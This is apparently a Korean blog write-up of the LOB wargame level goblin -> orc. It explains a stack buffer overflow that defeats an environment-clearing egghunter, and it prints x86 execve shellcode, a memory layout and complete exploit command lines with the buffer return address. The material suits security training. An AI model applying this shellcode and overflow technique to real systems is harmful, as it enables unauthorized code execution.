2021. 3. 17. 19:40ㆍLOB
[ Level4(goblin) Login ]
ID : goblin
PW : hackers proof
orc.c를 확인해보니, egghunter가 있다.
extern char **environ은 환경변수를 의미하는데,
egghunter에 있는 memse함수t을 이용하여 환경변수의 값을 0으로 바꾼다.
※ memset함수 메모리의 내용(값)을 원하는 크기만큼 특정 값으로 세팅할 수 있는 함수 - 함수 원형 void* memset(void* ptr, int value, size_t num); - 파라미터 *ptr : 세팅하고자 하는 메모리의 시작 주소 value : 메모리에 세팅하고자 하는 값 num : 길이 |
그리고 if(argv[1][47] != '\xbf') 에서 argv[[1]의 47번째 문자가 '\xbf'로 해주어야 하는 조건도 붙었다.
※ argv[1][n] argv[1]에서 입력된 문자열에서 n번째 문자를 뜻함. |
egghunter로 인하여 환경변수를 사용하지 못하기 때문에
쉘코드를쉘 코드를 buffer에 넣어주고, RET에 buffer의 주소를 넣어주어 쉘 코드를 실행시킬 것이다.
우선, gdb로 orc를 실행시켜 buffer의 주소를 알아내자.
disassemble을 하여 확인해본 결과 buffer는 [%ebp-40]에 있는 것을 확인하였다.
하지만 우리가 지금까지 사용했던 쉘 코드는 41byte였다. 지금 buffer변수에는 40byte까지 밖에 넣지 못한다.
따라서 기본적인 쉘을 띄워주는 쉘코드(25byte)를 넣어줄 것이다.
가장 기본적으로 쉘을 띄워주는 코드(25byte) |
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\ x80 |
setreuid(getuid(), getuid()) 를 포함한 쉘코드 (41byte) |
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 |
아래의 그림처럼 메모리에 넣어주면 될 것이다.
buffer(40byte) | EBP(4byte) | RET(4byte) | |
쉘코드(25byte) | NOP(\x90) * 15 | NOP(\x90) * 4 | buffer의 주소 |
strcpy함수가 끝나는 부분에서 break point를 해주고,
A를 44개 RET에 '\xbf'를 넣어 47번째에 '\xbf'가 들어가도록 하여 실행하였다.
실행하고 보니 "Operation not permitted"가 떴다. 권한이 없다는 뜻이다.
orc에서 디버깅을 할 수 없으니, orc와 같은 코드를 가진 ora를 만들어 준다.
( 실행파일의 이름길이가 같으면 실행했을 때, 메모리 주소 차이가 없다. )
이제 gdb로 ora를 실행시켜주고 위에서 했던 것을 똑같이 해준다.
x/40x $esp를 입력하여 메모리에 어떤값이 들어가 있는지 확인한다.
0xbffffad0부터 41(A)이 들어가 있는 것으로 보아 0xbffffad0가 buffer의 주소인 것 같다.
이제 buffer에 쉘 코드를 넣고, RET에 buffer의 주소를 넣어주어 실행시킨다.
./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*19 + "\xd0\xfa\xff\xbf"'`
분명 gdb로 buffer의 주소를 알아내어 RET에 넣어주었고, 쉘 코드도 25byte로 buffer에 잘 넣어주었다.
하지만 실행 했을때, Segmentation fault가 떴다.
그 이유는 gdb로 알아낸 buffer의 주소가 정확하지 않기 때문이다.
따라서 orc.c 코드를 복사해서 코드에 buffer의 주소를 출력해주는 코드를 추가로 작성해준 뒤,
ora실행파일로 만들어 정확한 buffer의 주소를 알아낼 것이다.
우선 orc.c 코드를 복사하여 ora.c를 만들어 준다.
printf("%p\n", buffer);
위 코드를 ora.c에 추가해주고, gcc 명령어로 ora실행파일을 만들어 준 뒤,
`python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`를 argv[1] 입력하여 실행해준다.
실행시켜 buffer의 주소를 출력해본 결과, 실제 buffer의 주소가 0xbffffae0인 것을 알아내었다.
실제 buffer의 주소를 알아냈으니, orc에 직접 실행시킨다.
./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*19 + "\xe0\xfa\xff\xbf"'`
실행해보니, 성공적으로 bash에 들어온 것을 볼 수 있다.
이제 bash에서 my-pass를 입력하여 다음 level의 비밀번호를 알아내면 된다!
[ Level4(goblin) Clear ]
'LOB' 카테고리의 다른 글
[LOB] LEVEL3 (cobolt -> goblin) (0) | 2021.03.08 |
---|---|
[LOB] LEVEL2 (gremlin -> cobolt) (0) | 2021.03.08 |
[LOB] LEVEL1 (gate -> gremlin) (0) | 2021.03.06 |
[LOB] Settings (0) | 2021.03.05 |